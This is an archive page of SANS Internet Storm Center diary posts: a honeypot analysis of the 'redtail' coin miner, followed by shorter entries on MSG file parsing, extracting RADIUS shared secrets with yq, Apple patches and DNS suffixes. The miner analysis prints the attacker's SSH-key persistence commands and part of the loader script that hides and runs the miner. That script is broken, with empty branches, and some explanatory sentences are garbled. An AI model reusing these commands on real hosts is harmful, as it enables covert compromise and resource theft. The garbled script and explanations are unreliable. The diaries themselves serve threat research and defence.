Tag Archives: SANS

Analysis of ?redtail? File Uploads to ICS Honeypot, a Multi-Architecture Coin Miner [Guest Diary], (Wed, May 22nd)

This post was originally published on this site

[This is a Guest Diary by Robert Riley, an ISC intern as part of the SANS.edu BACS program]


Honeypot file uploads can be like opening pandoras box, never knowing what may get uploaded. Malware comes in all sorts of varieties and flavors, many suited for specific purposes and some for multiple. Today, we'll look at a malware named “redtail” and its purpose falls under the category, "Coin miners", software illegally uploaded to hosts for the purpose of covertly mining cryptocurrency for a remote actor by hijacking a host’s resources. The question we’d like answered is what capabilities do modern coin miners possess, and how can they be identified? Using this information from modern threat feeds could both give further insight into the threat actors perpetuating this attack, while also giving a glimpse into the current capabilities of coin miner malware actively being used in today’s threat landscape.

Description of the Subject

The “redtail” samples being evaluated are a look into a modern variant of coin miner malware being used in the wild today. The samples are interesting in that they have the capability to run on 4 different CPU architectures, showing just how much this malware could potentially infect a vast number of devices/hosts. We’ll be looking into the process of how the threat actor gained initial access, who are the threat actors, the different samples uploaded, and how these samples were identified as a coin miner.

Initial Analysis of the Attack

The analysis began in the form of an earlier attack observation [8]. I started by evaluating the IP, who was seen initially connected to the honeypot over SSH port 2222 on Feb 23rd 12:23:25 2024, shown as rapid logins happening back-to-back in increments of 23 (sign of bot behavior). After failing to login using the [root/lenovo] credentials, the actor successfully logs in using the [root/Passw0rd123] credentials. After authentication, the actor uploads a total of 5 files to the honeypot (redtail.arm7, redtail.arm8, redtail.i686, redtail.x86_64, setup.sh). 

The actor then runs commands that make the setup.sh file executable, then adds a custom public key to the ~/.ssh/authorized_keys file before making said file unmodifiable using the command https://www.abuseipdb.com/check/ The full commands used are pated below:

chmod +x setup.sh; sh setup.sh;
rm -rf setup.sh;
mkdir -p ~/.ssh;
chattr -ia ~/.ssh/authorized_keys;
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys;
chattr +ai ~/.ssh/authorized_keys;
uname -a

Taking a closer look at the code for setup.sh shows us even more about the intentions of the remote IP. Namely, the shell script attempts to determine the host architecture based on the output of the command chattr +ai. Using this, the script copies the contents of the relevant redtail executable to the “.redtail” file on the host, and executes this new file, after which the original uploaded & unhidden redtail files are then deleted. If the architecture cannot be determined, then all the “redtail” file contents are copied to the “.redtail” file for good measure. The code is pasted below for more details:



if [ -f "/bin/uname" ] && [ -f "/bin/grep" ]; then
        ARCH=$(uname -mp);
        if echo "$ARCH" | grep -q "x86_64" ; then
        elif echo "$ARCH" | grep -q "i686"; then
        elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
        elif echo "$ARCH" | grep -q "armv7"; then

#sysctl -w vm.nr_hugepages=$(nproc)

#for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
#    echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";

FOLDER=$(find / -writable -executable -readable -not -path "/proc/*" | head -n 1 || echo /tmp);

if [ "$CURR" != "$FOLDER" ]; then
        mv redtail.* $FOLDER
        cd $FOLDER

if [ "$NOARCH" = true ]; then
        cat redtail.x86_64 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.i686 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm8 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm7 > .redtail; chmod +x .redtail; ./.redtail;
        cat "redtail.$ARCH" > .redtail; chmod +x .redtail; ./.redtail;

rm -rf redtail.*

Just doing a hash lookup on any of the redtail files, it can quickly be determined that its goal is that of a coin miner, as looking up the hash of each of the files in Virus Total tags these files with such labels. This sample showed behaviors such as executing crontab, modifying iptables rules, and shows UPX packing common in other coin miners, and listens on a newly created socket. 

Digging Deeper

The 1st IP, x.x.x.163, is located either in the Netherlands or France, and comes from the ISP Constant MOULIN. Doing a quick analysis using a few reputation sites for this IP, we see that this attack is one of the 1st recorded instances of its malicious behavior [2], a VT score of 23/90 [1], and a 100% confidence of abuse [4]. This IP still has reports still being generated today by both on my honeypot and in the wild. Regarding “redtail” file uploads, there are a recorded 5 separate times where this IP successful uploads “redtail” & “setup.sh” files to the honeypot. In each case before uploading, they successfully authenticate as the “root” user before. The most recent activity from this IP on the honeypot is as recent as 5/2, trying to guess SSH usernames & passwords. Below is the complete activity of this IP, with the 5 “redtail” submissions marked.

It gets more interesting when looking at all the IP's who tried to submit these "redtail" and "setup.sh" files, as there are only two IP's engaging in this activity: &, the secondary IP being one we haven’t evaluated yet. This 2nd IP, x.x.x.236, located in the Netherlands, is from the Alsycon Media B.V. ISP. Doing a similar reputation analysis on this IP shows malicious activity as far back as 10/7/2024 [5], a VT score of 17/91 [4], and once again a 100% confidence of abuse [6]. For the honeypot, this IP was first seen on 1/28/2024, making it the 1st IP seen on the honeypot engaging in this activity. The IP tried to login via SSH using brute force, although curiously upon successfully logging disconnects shortly after. It isn’t until about 2 weeks later, on 2/11, that we see a successful “redtail” & “setup.sh” file uploads after authenticating using the [root/lenovo] username/password combo. The last time this IP is seen is on 3/20/2024, trying to login via SSH w/ the [root/a] username/password combo.

This is the only recorded instance of file uploads from this IP, as the address engages in a variety of behaviors against this endpoint compared to the primary IP, x.x.x.163. This includes connecting to various SSH ports, many different username/password submissions, and even URL requests at one point (w/ interesting user agents). It’s interesting to note that the primary IP, x.x.x.163, may also be geographically located in the Netherlands like the secondary IP, but can’t confirm for certain due to the ISP being spread across countries. The implication here is that if both IPs are from the NL, one could point to both these IP’s being from the same threat actor, but that is speculative. For the most part, however, most of the activity comes from the primary IP, x.x.x.163

Looking closer at the “redtail” and “setup.sh” files themselves by hash reveals interesting info on the IP’s who upload them to the honeypot. Out of the 28 unique hashes ever submitted, every single one of these file submissions had a Virus Total score of at least 19, another piece of evidence proving maliciousness [7]. Between the “redtail” files, each had unique hashes that were only used in the respective batch submission. This means that the 4/5 files submitted during the initial analysis of the primary IP submission on 2/23, that those files were never once used again by either IP. This applies to every one of the 6 batch submission of “redtail” files between both IP’s. The exception to this rule was regarding the “setup.sh” file, which had 2 hashes that were submitted twice on different dates. 


This analysis stuck out for a few reasons. One was the sheer number of file submissions, totaling over 400+ separate submissions over the course of about 4 months. Another was how all these submissions came from only 2 IP’s in roughly the same geographic area. These combine to show insight into more modern variants of coin miner malware, and the threat actors spreading this malware.

[1] https://www.virustotal.com/gui/ip-address/ (23/90 VT score)
[2] https://isc.sans.edu/ipinfo/ (5/10 risk score)
[3] https://www.abuseipdb.com/check/ (100% confidence of abuse)
[4] https://www.virustotal.com/gui/ip-address/ (17/91 VT score)
[5] https://isc.sans.edu/ipinfo/ (0/10 risk score)
[6] https://www.abuseipdb.com/check/ (100% confidence of abuse)
[7] “Hash Info.csv” – Sheet of all file submissions w/ info (attached)
[8] “Attack Observation #5.pdf” – AO where initial analysis of primary IP was done (attached)
[9] https://github.com/bruneaug/DShield-SIEM (provided visualizations)
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Analyzing MSG Files, (Mon, May 20th)

This post was originally published on this site

.msg email files are ole files and can be analyzed with my tool oledump.py.

They have a lot of streams, so finding the information you need (body, headers, attachments, …) can take some time searching.

That's why I have a plugin that summarizes important information from .msg files: plugin_msg.summary.py.

This is how its output looks like when I run it on a .msg file with malicious attachment:

While showing a friend my plugin features, I got the idea to make some updates to this plugin.

First, when attachments are inline and/or hidden, that information is added to the attachment overview, as can be seen in the screenshot above for attachment 0.

Inline attachments are typically pictures that have been pasted into the email's body, and do not appear as seperate attachments when opened in Outlook, for example.

If you are analyzing an email for malicious attachments, you can first focus on attachments that are not inline.

This information also appears when outputing JSON information for the analyzed .msg file:

Second, I added a new option to output JSON information for the attachments with their contents, so that these attachments can be analyzed as I explained in recent diary entries "Analyzing PDF Streams" and "Another PDF Streams Example: Extracting JPEGs".

This JSON output can be piped into my other tools that support this JSON format, like file-magic.py (to identify the file type based on its content):

If an attachment is inline and/or hidden, this -J output option prefixes the attachment name in the JSON output:

And I also updated my plugin plugin_msg.py to parse property streams. This is where information like inline and hidden are stored:

As can be seen in the screenshots, there are also properties for timestamps like creatiion time and last modification time.


Didier Stevens
Senior handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Why yq? Adventures in XML, (Thu, May 16th)

This post was originally published on this site

I was recently asked to <ahem> "recover" a RADIUS key from a Microsoft NPS server.  No problem I think, just export the config and it's all there in clear text right?

… yes, sort of …

The XML file that gets output is of course perfect XML, but that doesn't mean it's easy to read for a human, it's as scrambled as my weekend eggs.  I got my answer, but then of course started to look for a way to get the answer in an easier way, something I could document and hand off to my client.  In other words, I started on the quest for a "jq" like tool for XML.  Often security work involves taking input in one text format and converting it to something that's human readable, or more easily parsed by the next tool in the pipeline.  (see below)

XMLLint is a pretty standard one that's in Linux, you can get it by installing libxml2.  Kali has it installed by default – usage is very straightforward:

xmllint < file.xml


cat file.xml | xmllint

There are a bunch of output options, but because it's not-so windows friendly I didn't dig to far – run man xmllint or browse here: https://gnome.pages.gitlab.gnome.org/libxml2/xmllint.html  if you need more than the basics on this.

However, finding something like this for Windows turned into an adventure, there's a port of xmllint for Windows but it's in that 10-year age range that makes me a bit leary to install it.  With a bit of googling I found yq.

This is a standalone install on most Linux distro's (sudo apt-get install yq or whatever), and has a few standard install methods for windows:

  • you can just download the binary and put it in your path
  • choco install yq
  • winget install –id MikeFarah.yq

yq is written to mimic jq like you'd expect from the name, but will take json, yaml, xml, csv and tsv files.  It's not as feature-heavy as jq, but it's got enough, and let's face it, most of us use these for pretty print output, so that we can grep against that anyway.
I especially liked it for today's problem because I can adjust the indent, since the NPS XML export has a fairly deep heirarchy I went with an indent of 1:

type nps-export.xml | yq --input-format xml --output-format xml --indent 1 > pretty.xml

A quick peek at the file found me my answwer in the pretty (and grep-able) format that I wanted.  A typical RADIUS Client section looks lke:

 <Clients name="Clients">
     <Client_ _Template_Guid="_Template_Guid" xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{00000000-0000-0000-0000-000000000000}</Client_>
     <IP_Address xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">IP.Address.Goes.Here</IP_Address>
     <NAS_Manufacturer xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="int">0</NAS_Manufacturer>
     <Opaque_Data xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></Opaque_Data>
     <Radius_Client_Enabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</Radius_Client_Enabled>
     <Require_Signature xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">0</Require_Signature>
     <Shared_Secret xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">SuperSecretSharedKeyGoesHere</Shared_Secret>
     <Template_Guid xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{1A1917B8-D2C0-43B3-8144-FAE167CE9316}</Template_Guid>

Or I could dump all the shared secrets with the associated IP Addresses with:

type pretty.xml | findstr "IP_Address Shared_Secret"


cat pretty.xml | grep 'IP_address|Shared_Secret'

After all that, I think I've found my go-to for text file conversions – in particular xml or yaml, especially in Windows ..

Full details on these two tools discussed:

If you've got a different text formatter (or un-formatter), or if you've used xmllint or yq in an interesting way, please let us know about it in our comment form!

Rob VandenBrink

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apple Patches Everything: macOS, iOS, iPadOS, watchOS, tvOS updated., (Tue, May 14th)

This post was originally published on this site

Apple today released updates for its various operating systems. The updates cover iOS, iPadOS, macOS, watchOS and tvOS. A standalone update for Safari was released for older versions of macOS. One already exploited vulnerability, CVE-2024-23296 is patched for older versions of macOS and iOS. In March, Apple patched this vulnerability for more recent versions of iOS and macOS.

DNS Suffixes on Windows, (Sun, May 12th)

This post was originally published on this site

I was asked if I could provide mote details on the following sentence from my diary entry "nslookup's Debug Options":

     (notice that in my nslookup query, I terminated the FQDN with a dot: "example.com.", I do that to prevent Windows from adding suffixes)

A DNS suffix is a configuration of the Windows DNS client (locally, via DHCP, …) to have it append suffixes when doing domain lookups.

For example, if a DNS suffix local is configured, then Windows' DNS client will not only do a DNS lookup for example.com, but also for example.com.local.

As an example, let me configure mylocalnetwork as a suffix on a Windows machine:

With DNS suffix mylocalnetwork configured, nslookup will use this suffix. For example, when I perform a lookup for "example.com", nslookup will also do a lookup for "example.com.mylocalnetwork".

I can show this with nslookup's debug option d2:

You can see in these screenshots DNS type A and AAAA resolutions for example.com.mylocalnetwork and example.com.

One of the ideas behind DNS suffixes, is to reduce typing. If you have a NAS, for example, named mynas, you can just access it with https://mynas/login. No need to type the fully qualified domain name (FQDN) https://mynas.mylocalnetwork/login.

Notice that the suffix also applies for AAAA queries, while in the screenshots above I only configured it for IPv4. That's because the DNS suffix setting applies both to IPv4 and IPv6:

Before I show the results with "example.com." (notice the dot character at the end), let me show how I can summarize the lookups by grepping for "example" (findstr):

If I terminate my DNS query with a dot character (.), suffixes will not be appended:

Notice that there are no resolutions for mylocalnetwork in this last example. That's because the trailing dot instructs Windows' DNS client to start resolving from the DNS root zone.

A domain name consists of domain labels separated by dots:

If you are adding a trailing dot, you are actually adding an empty domain label:

The empty label represents the DNS root zone, and no suffixes are appended to the DNS root zone, as it is the top-level (root) DNS zone.

A small tip if you want to restrict nslookup's resolutions to A records, for example. There is an option for that.

If you use nslookup's help option /?, you will see that you can provide options, but the actual options are not listed:

To see the available options, start nslookup, and then type "?" at its prompt, like this:

Now you can see that option "type" allows you to specify which type of records to query. Here is an example for A records:


Didier Stevens
Senior handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.